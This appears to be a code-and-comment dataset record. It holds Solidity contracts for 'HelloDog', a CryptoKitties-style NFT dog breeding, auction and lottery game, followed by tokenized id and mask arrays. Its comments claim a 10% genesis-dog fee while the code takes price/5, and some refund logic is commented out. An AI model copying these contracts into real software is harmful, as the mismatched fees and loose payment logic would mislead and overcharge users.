/// @dev Computes the price and transfers winnings. /// Does NOT transfer ownership of token. function _bid(uint256 _tokenId, uint256 _bidAmount, address _to) internal returns (uint256) { // Get a reference to the auction struct Auction storage auction = tokenIdToAuction[_tokenId]; // Explicitly check that this auction is currently live. // (Because of how Ethereum mappings work, we can&#39;t just count // on the lookup above failing. An invalid _tokenId will just // return an auction object that is all zeros.) require(_isOnAuction(auction)); // Check that the bid is greater than or equal to the current price uint256 price = _currentPrice(auction); uint256 auctioneerCut = computeCut(price); //zhangyong //两只创世狗每次交易需要收取10%的手续费 //创世狗无法繁殖,所以只有创世狗交易才会进入到这个方法 uint256 fee = 0; if (_tokenId == 0 || _tokenId == 1) { fee = price / 5; } require((_bidAmount + auctioneerCut + fee) >= price); // Grab a reference to the seller before the auction struct // gets deleted. address seller = auction.seller; // The bid is good! Remove the auction before sending the fees // to the sender so we can&#39;t have a reentrancy attack. _removeAuction(_tokenId); // Transfer proceeds to seller (if there are any!) if (price > 0) { // Calculate the auctioneer&#39;s cut. // (NOTE: _computeCut() is guaranteed to return a // value <= price, so this subtraction can&#39;t go negative.) uint256 sellerProceeds = price - auctioneerCut - fee; // NOTE: Doing a transfer() in the middle of a complex // method like this is generally discouraged because of // reentrancy attacks and DoS attacks if the seller is // a contract with an invalid fallback function. We explicitly // guard against reentrancy attacks by removing the auction // before calling transfer(), and the only thing the seller // can DoS is the sale of their own asset! (And if it&#39;s an // accident, they can call cancelAuction(). ) seller.transfer(sellerProceeds); } // Calculate any excess funds included with the bid. If the excess // is anything worth worrying about, transfer it back to bidder. // NOTE: We checked above that the bid amount is greater than or // equal to the price so this cannot underflow. // zhangyong // _bidAmount在进入这个方法之前已经扣掉了fee,所以买者需要加上这笔费用才等于开始出价 // uint256 bidExcess = _bidAmount + fee - price; // Return the funds. Similar to the previous transfer, this is // not susceptible to a re-entry attack because the auction is // removed before any transfers occur. // zhangyong // msg.sender是主合约地址,并不是出价人的地址 // msg.sender.transfer(bidExcess); // Tell the world! AuctionSuccessful(_tokenId, price, _to); return price; } /// @dev Removes an auction from the list of open auctions. /// @param _tokenId - ID of NFT on auction. function _removeAuction(uint256 _tokenId) internal { delete tokenIdToAuction[_tokenId]; } /// @dev Returns true if the NFT is on auction. /// @param _auction - Auction to check. function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } /// @dev Returns current price of an NFT on auction. Broken into two /// functions (this one, that computes the duration from the auction /// structure, and the other that does the price computation) so we /// can easily test that the price computation works correctly. function _currentPrice(Auction storage _auction) internal view returns (uint256) { uint256 secondsPassed = 0; // A bit of insurance against negative values (or wraparound). // Probably not necessary (since Ethereum guarnatees that the // now variable doesn&#39;t ever go backwards). if (now > _auction.startedAt) { secondsPassed = now - _auction.startedAt; } return _computeCurrentPrice( _auction.startingPrice, _auction.endingPrice, _auction.duration, secondsPassed ); } /// @dev Computes the current price of an auction. Factored out /// from _currentPrice so we can run extensive unit tests. /// When testing, make this function public and turn on /// `Current price computation` test suite. function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256) { // NOTE: We don&#39;t use SafeMath (or similar) in this function because // all of our public functions carefully cap the maximum values for // time (at 64-bits) and currency (at 128-bits). _duration is // also known to be non-zero (see the require() statement in // _addAuction()) if (_secondsPassed >= _duration) { // We&#39;ve reached the end of the dynamic pricing portion // of the auction, just return the end price. return _endingPrice; } else { // Starting price can be higher than ending price (and often is!), so // this delta can be negative. int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); // This multiplication can&#39;t overflow, _secondsPassed will easily fit within // 64-bits, and totalPriceChange will easily fit within 128-bits, their product // will always fit within 256-bits. int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); // currentPriceChange can be negative, but if so, will have a magnitude // less that _startingPrice. Thus, this result will always end up positive. int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } /// @dev Computes owner&#39;s cut of a sale. /// @param _price - Sale price of NFT. function computeCut(uint256 _price) public view returns (uint256) { // NOTE: We don&#39;t use SafeMath (or similar) in this function because // all of our entry functions carefully cap the maximum values for // currency (at 128-bits), and ownerCut <= 10000 (see the require() // statement in the ClockAuction constructor). The result of this // function is always guaranteed to be <= _price. return _price * ownerCut / 10000; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } /// @title Clock auction for non-fungible tokens. /// @notice We omit a fallback function to prevent accidental sends to this contract. contract ClockAuction is Pausable, ClockAuctionBase { /// @dev The ERC-165 interface signature for ERC-721. /// Ref: https://github.com/ethereum/EIPs/issues/165 /// Ref: https://github.com/ethereum/EIPs/issues/721 // bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d); bytes4 constant InterfaceSignature_ERC721 = bytes4(keccak256("name()")) ^ bytes4(keccak256("symbol()")) ^ bytes4(keccak256("totalSupply()")) ^ bytes4(keccak256("balanceOf(address)")) ^ bytes4(keccak256("ownerOf(uint256)")) ^ bytes4(keccak256("approve(address,uint256)")) ^ bytes4(keccak256("transfer(address,uint256)")) ^ bytes4(keccak256("transferFrom(address,address,uint256)")); /// @dev Constructor creates a reference to the NFT ownership contract /// and verifies the owner cut is in the valid range. /// @param _nftAddress - address of a deployed contract implementing /// the Nonfungible Interface. /// @param _cut - percent cut the owner takes on each auction, must be /// between 0-10,000. function ClockAuction(address _nftAddress, uint256 _cut) public { require(_cut <= 10000); ownerCut = _cut; ERC721 candidateContract = ERC721(_nftAddress); require(candidateContract.supportsInterface(InterfaceSignature_ERC721)); nonFungibleContract = candidateContract; } /// @dev Remove all Ether from the contract, which is the owner&#39;s cuts /// as well as any Ether sent directly to the contract address. /// Always transfers to the NFT contract, but can be called either by /// the owner or the NFT contract. function withdrawBalance() external { address nftAddress = address(nonFungibleContract); require( msg.sender == owner || msg.sender == nftAddress ); // We are using this boolean method to make sure that even if one fails it will still work nftAddress.transfer(address(this).balance); } // @dev Creates and begins a new auction. // @param _tokenId - ID of token to auction, sender must be owner. // @param _startingPrice - Price of item (in wei) at beginning of auction. // @param _endingPrice - Price of item (in wei) at end of auction. // @param _duration - Length of time to move between starting // price and ending price (in seconds). // @param _seller - Seller, if not the message sender // function createAuction( // uint256 _tokenId, // uint256 _startingPrice, // uint256 _endingPrice, // uint256 _duration, // address _seller // ) // external // whenNotPaused // { // // Sanity check that no inputs overflow how many bits we&#39;ve allocated // // to store them in the auction struct. // require(_startingPrice == uint256(uint128(_startingPrice))); // require(_endingPrice == uint256(uint128(_endingPrice))); // require(_duration == uint256(uint64(_duration))); // require(_owns(msg.sender, _tokenId)); // _escrow(msg.sender, _tokenId); // Auction memory auction = Auction( // _seller, // uint128(_startingPrice), // uint128(_endingPrice), // uint64(_duration), // uint64(now) // ); // _addAuction(_tokenId, auction); // } // @dev Bids on an open auction, completing the auction and transferring // ownership of the NFT if enough Ether is supplied. // @param _tokenId - ID of token to bid on. // function bid(uint256 _tokenId) // external // payable // whenNotPaused // { // // _bid will throw if the bid or funds transfer fails // _bid(_tokenId, msg.value); // _transfer(msg.sender, _tokenId); // } /// @dev Cancels an auction that hasn&#39;t been won yet. /// Returns the NFT to original owner. /// @notice This is a state-modifying function that can /// be called while the contract is paused. /// @param _tokenId - ID of token on auction function cancelAuction(uint256 _tokenId) external { // zhangyong // 普通用户无法下架创世狗 require(_tokenId > 1); Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); address seller = auction.seller; require(msg.sender == seller); _cancelAuction(_tokenId, seller); } /// @dev Cancels an auction when the contract is paused. /// Only the owner may do this, and NFTs are returned to /// the seller. This should only be used in emergencies. /// @param _tokenId - ID of the NFT on auction to cancel. function cancelAuctionWhenPaused(uint256 _tokenId) whenPaused onlyOwner external { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); _cancelAuction(_tokenId, auction.seller); } /// @dev Returns auction info for an NFT on auction. /// @param _tokenId - ID of NFT on auction. function getAuction(uint256 _tokenId) external view returns ( address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt ) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return ( auction.seller, auction.startingPrice, auction.endingPrice, auction.duration, auction.startedAt ); } /// @dev Returns the current price of an auction. /// @param _tokenId - ID of the token price we are checking. function getCurrentPrice(uint256 _tokenId) external view returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return _currentPrice(auction); } } /// @title Reverse auction modified for siring /// @notice We omit a fallback function to prevent accidental sends to this contract. contract SiringClockAuction is ClockAuction { // @dev Sanity check that allows us to ensure that we are pointing to the // right auction in our setSiringAuctionAddress() call. bool public isSiringClockAuction = true; // Delegate constructor function SiringClockAuction(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {} /// @dev Creates and begins a new auction. Since this function is wrapped, /// require sender to be KittyCore contract. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of auction (in seconds). /// @param _seller - Seller, if not the message sender function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external { // Sanity check that no inputs overflow how many bits we&#39;ve allocated // to store them in the auction struct. require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /// @dev Places a bid for siring. Requires the sender /// is the KittyCore contract because all bid methods /// should be wrapped. Also returns the Dog to the /// seller rather than the winner. function bid(uint256 _tokenId, address _to) external payable { require(msg.sender == address(nonFungibleContract)); address seller = tokenIdToAuction[_tokenId].seller; // _bid checks that token ID is valid and will throw if bid fails _bid(_tokenId, msg.value, _to); // We transfer the Dog back to the seller, the winner will get // the offspring _transfer(seller, _tokenId); } } /// @title Clock auction modified for sale of dogs /// @notice We omit a fallback function to prevent accidental sends to this contract. contract SaleClockAuction is ClockAuction { // @dev Sanity check that allows us to ensure that we are pointing to the // right auction in our setSaleAuctionAddress() call. bool public isSaleClockAuction = true; // Tracks last 5 sale price of gen0 Dog sales uint256 public gen0SaleCount; uint256[5] public lastGen0SalePrices; // Delegate constructor function SaleClockAuction(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {} /// @dev Creates and begins a new auction. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of auction (in seconds). /// @param _seller - Seller, if not the message sender function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external { // Sanity check that no inputs overflow how many bits we&#39;ve allocated // to store them in the auction struct. require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /// @dev Updates lastSalePrice if seller is the nft contract /// Otherwise, works the same as default bid method. function bid(uint256 _tokenId, address _to) external payable { //zhangyong //只能由主合约调用出价竞购,因为要判断当期中奖了的狗无法买卖 require(msg.sender == address(nonFungibleContract)); // _bid verifies token ID size address seller = tokenIdToAuction[_tokenId].seller; // zhangyong // 自己不能买自己卖的同一只狗 require(seller != _to); uint256 price = _bid(_tokenId, msg.value, _to); //zhangyong //当狗被拍卖后,主人变成拍卖合约,主合约并不是狗的购买人,需要额外传入 _transfer(_to, _tokenId); // If not a gen0 auction, exit if (seller == address(nonFungibleContract)) { // Track gen0 sale prices lastGen0SalePrices[gen0SaleCount % 5] = price; gen0SaleCount++; } } function averageGen0SalePrice() external view returns (uint256) { uint256 sum = 0; for (uint256 i = 0; i < 5; i++) { sum += lastGen0SalePrices[i]; } return sum / 5; } } /// @title Handles creating auctions for sale and siring of dogs. /// This wrapper of ReverseAuction exists only so that users can create /// auctions with only one transaction. contract DogAuction is DogBreeding { uint256 public constant GEN0_AUCTION_DURATION = 1 days; // @notice The auction contract variables are defined in KittyBase to allow // us to refer to them in KittyOwnership to prevent accidental transfers. // `saleAuction` refers to the auction for gen0 and p2p sale of dogs. // `siringAuction` refers to the auction for siring rights of dogs. /// @dev Sets the reference to the sale auction. /// @param _address - Address of sale contract. function setSaleAuctionAddress(address _address) external onlyCEO { SaleClockAuction candidateContract = SaleClockAuction(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isSaleClockAuction()); // Set the new contract address saleAuction = candidateContract; } /// @dev Sets the reference to the siring auction. /// @param _address - Address of siring contract. function setSiringAuctionAddress(address _address) external onlyCEO { SiringClockAuction candidateContract = SiringClockAuction(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isSiringClockAuction()); // Set the new contract address siringAuction = candidateContract; } /// @dev Put a Dog up for auction. /// Does some ownership trickery to create auctions in one tx. function createSaleAuction( uint256 _dogId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) external whenNotPaused { // Auction contract checks input sizes // If Dog is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(msg.sender, _dogId) || _approvedFor(msg.sender, _dogId)); // Ensure the Dog is not pregnant to prevent the auction // contract accidentally receiving ownership of the child. // NOTE: the Dog IS allowed to be in a cooldown. require(!isPregnant(_dogId)); _approve(_dogId, saleAuction); // Sale auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the Dog. saleAuction.createAuction( _dogId, _startingPrice, _endingPrice, _duration, dogIndexToOwner[_dogId] ); } /// @dev Put a Dog up for auction to be sire. /// Performs checks to ensure the Dog can be sired, then /// delegates to reverse auction. function createSiringAuction( uint256 _dogId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) external whenNotPaused { //zhangyong Dog storage dog = dogs[_dogId]; //变异狗不能繁殖 require(dog.variation == 0); // Auction contract checks input sizes // If Dog is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(msg.sender, _dogId)); require(isReadyToBreed(_dogId)); _approve(_dogId, siringAuction); // Siring auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the Dog. siringAuction.createAuction( _dogId, _startingPrice, _endingPrice, _duration, msg.sender ); } /// @dev Completes a siring auction by bidding. /// Immediately breeds the winning matron with the sire on auction. /// @param _sireId - ID of the sire on auction. /// @param _matronId - ID of the matron owned by the bidder. function bidOnSiringAuction( uint256 _sireId, uint256 _matronId ) external payable whenNotPaused { // Auction contract checks input sizes require(_owns(msg.sender, _matronId)); require(isReadyToBreed(_matronId)); require(_canBreedWithViaAuction(_matronId, _sireId)); // Define the current price of the auction. uint256 currentPrice = siringAuction.getCurrentPrice(_sireId); // zhangyong // 如果不是0代狗繁殖,则多收0代狗的繁殖收益 uint256 totalFee = currentPrice + autoBirthFee; Dog storage matron = dogs[_matronId]; if (matron.generation > 0) { totalFee += gen0Profit; } require(msg.value >= totalFee); uint256 auctioneerCut = saleAuction.computeCut(currentPrice); // Siring auction will throw if the bid fails. siringAuction.bid.value(currentPrice - auctioneerCut)(_sireId, msg.sender); _breedWith(uint32(_matronId), uint32(_sireId)); // zhangyong // 额外的钱返还给用户 uint256 bidExcess = msg.value - totalFee; if (bidExcess > 0) { msg.sender.transfer(bidExcess); } } // zhangyong // 创世狗交易需要收取10%的手续费给CFO // 所有交易都要收取3.75%的手续费给买卖合约 function bidOnSaleAuction( uint256 _dogId ) external payable whenNotPaused { Dog storage dog = dogs[_dogId]; //中奖的狗无法交易 if (dog.generation > 0) { var(,,openBlock,,,,,,) = lottery.getCLottery(); if (dog.birthTime < openBlock) { require(lottery.checkLottery(dog.genes) == 100); } } //交易成功之后,买卖合约会被删除,无法获取到当前价格 uint256 currentPrice = saleAuction.getCurrentPrice(_dogId); require(msg.value >= currentPrice); //创世狗交易需要收取10%的手续费 bool isCreationKitty = _dogId == 0 || _dogId == 1; uint256 fee = 0; if (isCreationKitty) { fee = currentPrice / 5; } uint256 auctioneerCut = saleAuction.computeCut(currentPrice); saleAuction.bid.value(currentPrice - (auctioneerCut + fee))(_dogId, msg.sender); // 创世狗被交易之后,下次的价格为当前成交价的2倍 if (isCreationKitty) { //转账到主合约进行,因为买卖合约访问不了cfoAddress cfoAddress.transfer(fee); uint256 nextPrice = uint256(uint128(2 * currentPrice)); if (nextPrice < currentPrice) { nextPrice = currentPrice; } _approve(_dogId, saleAuction); saleAuction.createAuction( _dogId, nextPrice, nextPrice, GEN0_AUCTION_DURATION, msg.sender); } uint256 bidExcess = msg.value - currentPrice; if (bidExcess > 0) { msg.sender.transfer(bidExcess); } } // @dev Transfers the balance of the sale auction contract // to the KittyCore contract. We use two-step withdrawal to // prevent two transfer calls in the auction bid function. // function withdrawAuctionBalances() external onlyCLevel { // saleAuction.withdrawBalance(); // siringAuction.withdrawBalance(); // } } /// @title all functions related to creating kittens contract DogMinting is DogAuction { // Limits the number of cats the contract owner can ever create. // uint256 public constant PROMO_CREATION_LIMIT = 5000; uint256 public constant GEN0_CREATION_LIMIT = 40000; // Constants for gen0 auctions. uint256 public constant GEN0_STARTING_PRICE = 200 finney; // uint256 public constant GEN0_AUCTION_DURATION = 1 days; // Counts the number of cats the contract owner has created. // uint256 public promoCreatedCount; uint256 public gen0CreatedCount; // @dev we can create promo kittens, up to a limit. Only callable by COO // @param _genes the encoded genes of the kitten to be created, any value is accepted // @param _owner the future owner of the created kittens. Default to contract COO // function createPromoKitty(uint256 _genes, address _owner) external onlyCOO { // address kittyOwner = _owner; // if (kittyOwner == address(0)) { // kittyOwner = cooAddress; // } // require(promoCreatedCount < PROMO_CREATION_LIMIT); // promoCreatedCount++; // //zhangyong // //增加变异系数与0代狗祖先作为参数 // _createDog(0, 0, 0, _genes, kittyOwner, 0, 0, false); // } // @dev Creates a new gen0 Dog with the given genes function createGen0Dog(uint256 _genes) external onlyCLevel returns(uint256) { require(gen0CreatedCount < GEN0_CREATION_LIMIT); //zhangyong //增加变异系数与0代狗祖先作为参数 uint256 dogId = _createDog(0, 0, 0, _genes, address(this), 0, 0, false); _approve(dogId, msg.sender); gen0CreatedCount++; return dogId; } /// @dev creates an auction for it. // function createGen0Auction(uint256 _dogId) external onlyCOO { // require(_owns(address(this), _dogId)); // _approve(_dogId, saleAuction); // //zhangyong // //0代狗的价格随时间递减到最低价,起始价与前5只价格相关 // uint256 price = _computeNextGen0Price(); // saleAuction.createAuction( // _dogId, // price, // price, // GEN0_AUCTION_DURATION, // address(this) // ); // } /// @dev Computes the next gen0 auction starting price, given /// the average of the past 5 prices + 50%. function computeNextGen0Price() public view returns (uint256) { uint256 avePrice = saleAuction.averageGen0SalePrice(); // Sanity check to ensure we don&#39;t overflow arithmetic require(avePrice == uint256(uint128(avePrice))); uint256 nextPrice = avePrice + (avePrice / 2); // We never auction for less than starting price if (nextPrice < GEN0_STARTING_PRICE) { nextPrice = GEN0_STARTING_PRICE; } return nextPrice; } } /// @title Cryptodogs: Collectible, breedable, and oh-so-adorable cats on the Ethereum blockchain. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev The main Cryptodogs contract, keeps track of kittens so they don&#39;t wander around and get lost. contract DogCore is DogMinting { // This is the main Cryptodogs contract. In order to keep our code seperated into logical sections, // we&#39;ve broken it up in two ways. First, we have several seperately-instantiated sibling contracts // that handle auctions and our super-top-secret genetic combination algorithm. The auctions are // seperate since their logic is somewhat complex and there&#39;s always a risk of subtle bugs. By keeping // them in their own contracts, we can upgrade them without disrupting the main contract that tracks // Dog ownership. The genetic combination algorithm is kept seperate so we can open-source all of // the rest of our code without making it _too_ easy for folks to figure out how the genetics work. // Don&#39;t worry, I&#39;m sure someone will reverse engineer it soon enough! // // Secondly, we break the core contract into multiple files using inheritence, one for each major // facet of functionality of CK. This allows us to keep related code bundled together while still // avoiding a single giant file with everything in it. The breakdown is as follows: // // - KittyBase: This is where we define the most fundamental code shared throughout the core // functionality. This includes our main data storage, constants and data types, plus // internal functions for managing these items. // // - KittyAccessControl: This contract manages the various addresses and constraints for operations // that can be executed only by specific roles. Namely CEO, CFO and COO. // // - KittyOwnership: This provides the methods required for basic non-fungible token // transactions, following the draft ERC-721 spec (https://github.com/ethereum/EIPs/issues/721). // // - KittyBreeding: This file contains the methods necessary to breed cats together, including // keeping track of siring offers, and relies on an external genetic combination contract. // // - KittyAuctions: Here we have the public methods for auctioning or bidding on cats or siring // services. The actual auction functionality is handled in two sibling contracts (one // for sales and one for siring), while auction creation and bidding is mostly mediated // through this facet of the core contract. // // - KittyMinting: This final facet contains the functionality we use for creating new gen0 cats. // We can make up to 5000 "promo" cats that can be given away (especially important when // the community is new), and all others can only be created and then immediately put up // for auction via an algorithmically determined starting price. Regardless of how they // are created, there is a hard limit of 50k gen0 cats. After that, it&#39;s all up to the // community to breed, breed, breed! // Set in case the core contract is broken and an upgrade is required address public newContractAddress; /// @notice Creates the main Cryptodogs smart contract instance. function DogCore() public { // Starts paused. paused = true; // the creator of the contract is the initial CEO ceoAddress = msg.sender; // the creator of the contract is also the initial COO cooAddress = msg.sender; // start with the mythical kitten 0 - so we don&#39;t have generation-0 parent issues //zhangyong //增加变异系数与0代狗祖先作为参数 _createDog(0, 0, 0, uint256(0), address(this), 0, 0, false); _approve(0, cooAddress); _createDog(0, 0, 0, uint256(0), address(this), 0, 0, false); _approve(1, cooAddress); } /// @dev Used to mark the smart contract as upgraded, in case there is a serious /// breaking bug. This method does nothing but keep track of the new contract and /// emit a message indicating that the new address is set. It&#39;s up to clients of this /// contract to update to the new contract address in that case. (This contract will /// be paused indefinitely if such an upgrade takes place.) /// @param _v2Address new address function setNewAddress(address _v2Address) external onlyCEO whenPaused { // See README.md for updgrade plan newContractAddress = _v2Address; ContractUpgrade(_v2Address); } /// @notice No tipping! /// @dev Reject all Ether from being sent here, unless it&#39;s from one of the /// two auction contracts. (Hopefully, we can prevent user accidents.) function() external payable { require( msg.sender == address(saleAuction) || msg.sender == address(siringAuction) || msg.sender == ceoAddress ); } /// @notice Returns all the relevant information about a specific Dog. /// @param _id The ID of the Dog of interest. function getDog(uint256 _id) external view returns ( uint256 cooldownIndex, uint256 nextActionAt, uint256 siringWithId, uint256 birthTime, uint256 matronId, uint256 sireId, uint256 generation, uint256 genes, uint8 variation, uint256 gen0 ) { Dog storage dog = dogs[_id]; // if this variable is 0 then it&#39;s not gestating cooldownIndex = uint256(dog.cooldownIndex); nextActionAt = uint256(dog.cooldownEndBlock); siringWithId = uint256(dog.siringWithId); birthTime = uint256(dog.birthTime); matronId = uint256(dog.matronId); sireId = uint256(dog.sireId); generation = uint256(dog.generation); genes = uint256(dog.genes); variation = uint8(dog.variation); gen0 = uint256(dog.gen0); } /// @dev Override unpause so it requires all external contract addresses /// to be set before contract can be unpaused. Also, we can&#39;t have /// newContractAddress set either, because then the contract was upgraded. /// @notice This is public rather than external so we can call super.unpause /// without using an expensive CALL. function unpause() public onlyCEO whenPaused { require(saleAuction != address(0)); require(siringAuction != address(0)); require(geneScience != address(0)); require(lottery != address(0)); require(variation != address(0)); require(newContractAddress == address(0)); // Actually unpause the contract. super.unpause(); } function setLotteryAddress(address _address) external onlyCEO { LotteryInterface candidateContract = LotteryInterface(_address); require(candidateContract.isLottery()); lottery = candidateContract; } function setVariationAddress(address _address) external onlyCEO { VariationInterface candidateContract = VariationInterface(_address); require(candidateContract.isVariation()); variation = candidateContract; } function registerLottery(uint256 _dogId) external returns (uint8) { require(_owns(msg.sender, _dogId)); require(lottery.registerLottery(_dogId) == 0); _transfer(msg.sender, address(lottery), _dogId); } function sendMoney(address _to, uint256 _money) external { require(msg.sender == address(lottery) || msg.sender == address(variation)); require(address(this).balance >= _money); _to.transfer(_money); } }
@title The facet of the Cryptodogs core contract that manages ownership, ERC-721 (draft) compliant. @author Axiom Zen (https://www.axiomzen.co) @dev Ref: https://github.com/ethereum/EIPs/issues/721 See the KittyCore contract documentation to understand how the various contract facets are arranged. The contract that will return Dog metadata ERC721Metadata public erc721Metadata; bytes4(keccak256("tokensOfOwner(address)")) ^ bytes4(keccak256("tokenMetadata(uint256,string)"));
contract DogOwnership is DogBase, ERC721 { string public constant name = "HelloDog"; string public constant symbol = "HD"; bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256("supportsInterface(bytes4)")); bytes4 constant InterfaceSignature_ERC721 = bytes4(keccak256("name()")) ^ bytes4(keccak256("symbol()")) ^ bytes4(keccak256("totalSupply()")) ^ bytes4(keccak256("balanceOf(address)")) ^ bytes4(keccak256("ownerOf(uint256)")) ^ bytes4(keccak256("approve(address,uint256)")) ^ bytes4(keccak256("transfer(address,uint256)")) ^ bytes4(keccak256("transferFrom(address,address,uint256)")); function supportsInterface(bytes4 _interfaceID) external view returns (bool) { return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721)); } function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return dogIndexToOwner[_tokenId] == _claimant; } function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return dogIndexToApproved[_tokenId] == _claimant; } function _approve(uint256 _tokenId, address _approved) internal { dogIndexToApproved[_tokenId] = _approved; } function balanceOf(address _owner) public view returns (uint256 count) { return ownershipTokenCount[_owner]; } function transfer( address _to, uint256 _tokenId ) external whenNotPaused { require(_to != address(0)); require(_to != address(this)); require(_to != address(saleAuction)); require(_to != address(siringAuction)); require(_owns(msg.sender, _tokenId)); _transfer(msg.sender, _to, _tokenId); } function approve( address _to, uint256 _tokenId ) external whenNotPaused { require(_owns(msg.sender, _tokenId)); _approve(_tokenId, _to); Approval(msg.sender, _to, _tokenId); } function transferFrom( address _from, address _to, uint256 _tokenId ) external whenNotPaused { require(_to != address(0)); require(_to != address(this)); require(_approvedFor(msg.sender, _tokenId)); require(_owns(_from, _tokenId)); _transfer(_from, _to, _tokenId); } function totalSupply() public view returns (uint) { return dogs.length - 1; } function ownerOf(uint256 _tokenId) external view returns (address owner) { owner = dogIndexToOwner[_tokenId]; require(owner != address(0)); } }
2,460,291
[ 1, 1986, 11082, 434, 326, 22752, 7370, 564, 2922, 6835, 716, 20754, 281, 23178, 16, 4232, 39, 17, 27, 5340, 261, 17153, 13, 24820, 18, 225, 22516, 14642, 2285, 275, 261, 4528, 2207, 5591, 18, 651, 14642, 8396, 18, 2894, 13, 225, 3941, 30, 2333, 2207, 6662, 18, 832, 19, 546, 822, 379, 19, 41, 18246, 19, 9618, 19, 27, 5340, 225, 2164, 326, 1475, 305, 4098, 4670, 6835, 7323, 358, 22413, 3661, 326, 11191, 6835, 21681, 854, 2454, 2330, 18, 1021, 6835, 716, 903, 327, 463, 717, 1982, 4232, 39, 27, 5340, 2277, 1071, 6445, 71, 27, 5340, 2277, 31, 1731, 24, 12, 79, 24410, 581, 5034, 2932, 7860, 951, 5541, 12, 2867, 2225, 3719, 3602, 1731, 24, 12, 79, 24410, 581, 5034, 2932, 2316, 2277, 12, 11890, 5034, 16, 1080, 2225, 10019, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
